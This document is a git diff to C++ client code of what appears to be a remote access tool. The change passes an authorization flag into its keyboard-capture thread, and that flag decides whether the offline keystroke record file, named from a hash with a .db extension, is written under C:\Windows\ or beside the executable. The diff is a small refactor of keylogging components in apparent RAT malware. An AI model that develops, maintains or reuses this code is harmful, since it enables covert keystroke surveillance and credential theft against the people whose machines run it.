diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 6a8bf26..ea92ec4 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -571,6 +571,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
     std::string expiredDate;
     BOOL isAuthKernel = IsAuthKernel(expiredDate);
     if (isAuthKernel) ParseAuthServer(&settings);
+    Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
     std::string pubIP = cfg.GetStr("settings", "public_ip", "");
     // V2 authorization supports offline mode, verify signature and skip timeout check
     VERIFY_V2_AND_SET_AUTHORIZED();
@@ -589,7 +590,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
     }
 
     app.SetThreadRun(TRUE);
-    ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
+    ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
     while (app.m_bIsRunning(&app)) {
         ULONGLONG dwTickCount = GetTickCount64();
         if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index fbaca2d..8415ae0 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -342,6 +342,7 @@ protected:
 
     void                *m_main = NULL;
 public:
+    BOOL                m_isAuth = FALSE;
     std::string         m_LoginMsg;             // 登录消息摘要
     std::string         m_LoginSignature;       // 登录消息签名
 };
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 285342f..01a4d7a 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -50,11 +50,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
     return NULL;
 }
 
-ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
+ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
 {
     ThreadInfo *tKeyboard = new ThreadInfo();
     tKeyboard->run = FOREVER_RUN;
     auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
+    sub->m_isAuth = isAuth;
     sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
     tKeyboard->p = sub;
     tKeyboard->conn = conn;
diff --git a/client/KernelManager.h b/client/KernelManager.h
index 363694e..0af3ca6 100644
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -25,7 +25,7 @@
 // 根据配置决定采用什么通讯协议
 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
 
-ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
+ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
 
 class ActivityWindow
 {
diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp
index 7826b1c..955e38c 100644
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -52,10 +52,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
     clip::set_error_handler(NULL);
 #endif
     m_bIsOfflineRecord = offline;
-    CKernelManager* main = (CKernelManager*)pClient->GetMain();
-    BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
     char path[MAX_PATH] = { "C:\\Windows\\" };
-    if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
+    if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
     std::string fileName = GetExeHashStr() + ".db";
     GET_FILEPATH(path, fileName.c_str());
     strcpy_s(m_strRecordFile, path);